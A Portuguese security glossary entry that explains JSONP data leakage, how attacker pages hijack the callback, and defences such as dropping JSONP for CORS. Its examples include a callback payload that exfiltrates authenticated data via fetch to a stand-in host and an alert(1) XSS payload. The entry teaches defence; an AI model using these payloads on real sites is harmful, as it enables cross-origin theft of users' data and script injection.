Vulnerabilidade JSONP
O que é Vulnerabilidade JSONP?
Vulnerabilidade JSONPFuga de dados entre origens causada por endpoints JSONP que devolvem dados sensíveis autenticados envolvidos numa função de callback controlada pelo atacante.
JSONP (JSON with Padding) é uma técnica antiga para chamadas entre origens: o servidor devolve JavaScript no formato callback({...}) que uma página remota pode incluir via <script src>. As vulnerabilidades JSONP surgem quando tais endpoints expõem dados autenticados e o parâmetro callback é refletido sem validação: o atacante aloja uma página que carrega a URL JSONP com o seu nome de função e captura a resposta, contornando a política de mesma origem e as proteções SameSite. O padrão também permite XSS se conteúdo fora de identificadores válidos for refletido. A boa prática moderna é remover o JSONP, substituí-lo por JSON com CORS e nunca expor endpoints sensíveis à inclusão via <script>.
● Exemplos
- 01
/api/me?callback=window['x']=function(d){fetch('https://mau/?d='+JSON.stringify(d))}.
- 02
Parâmetro callback refletido literalmente, permitindo XSS via callback=alert(1)//.
● Perguntas frequentes
O que é Vulnerabilidade JSONP?
Fuga de dados entre origens causada por endpoints JSONP que devolvem dados sensíveis autenticados envolvidos numa função de callback controlada pelo atacante. Pertence à categoria Ataques e ameaças da cibersegurança.
O que significa Vulnerabilidade JSONP?
Fuga de dados entre origens causada por endpoints JSONP que devolvem dados sensíveis autenticados envolvidos numa função de callback controlada pelo atacante.
Como funciona Vulnerabilidade JSONP?
JSONP (JSON with Padding) é uma técnica antiga para chamadas entre origens: o servidor devolve JavaScript no formato callback({...}) que uma página remota pode incluir via <script src>. As vulnerabilidades JSONP surgem quando tais endpoints expõem dados autenticados e o parâmetro callback é refletido sem validação: o atacante aloja uma página que carrega a URL JSONP com o seu nome de função e captura a resposta, contornando a política de mesma origem e as proteções SameSite. O padrão também permite XSS se conteúdo fora de identificadores válidos for refletido. A boa prática moderna é remover o JSONP, substituí-lo por JSON com CORS e nunca expor endpoints sensíveis à inclusão via <script>.
Como se defender contra Vulnerabilidade JSONP?
As defesas contra Vulnerabilidade JSONP costumam combinar controles técnicos e práticas operacionais, conforme detalhado na definição acima.
Quais são outros nomes para Vulnerabilidade JSONP?
Nomes alternativos comuns: Fuga JSONP, Sequestro JSONP.
● Termos relacionados
- appsec№ 223
CORS (Compartilhamento de Recursos entre Origens)
Mecanismo aplicado pelo navegador que permite ao servidor relaxar seletivamente a política de mesma origem para que JavaScript de uma origem possa ler respostas de outra.
- attacks№ 224
Má Configuração de CORS
Política CORS insegura que permite a origens não confiáveis ler respostas autenticadas, normalmente refletindo o cabeçalho Origin com Access-Control-Allow-Credentials: true.
- attacks№ 240
Cross-Site Scripting (XSS)
Vulnerabilidade web que permite a um atacante injetar scripts maliciosos em páginas visitadas por outros utilizadores, executados no browser da vítima sob a origem do site.
- appsec№ 960
Politica de mesma origem (SOP)
Regra de seguranca do navegador que restringe como um documento ou script carregado de uma origem pode interagir com recursos de outra origem.
- attacks№ 239
Cross-Site Request Forgery (CSRF)
Ataque web que força o browser de um utilizador autenticado a enviar pedidos indesejados a um site vulnerável, executando ações sem o seu consentimento.
- attacks№ 1016
Sequestro de sessão
Ataque que assume a sessão autenticada de uma vítima ao roubar ou forjar o seu identificador de sessão, permitindo ao atacante agir como o utilizador sem as credenciais.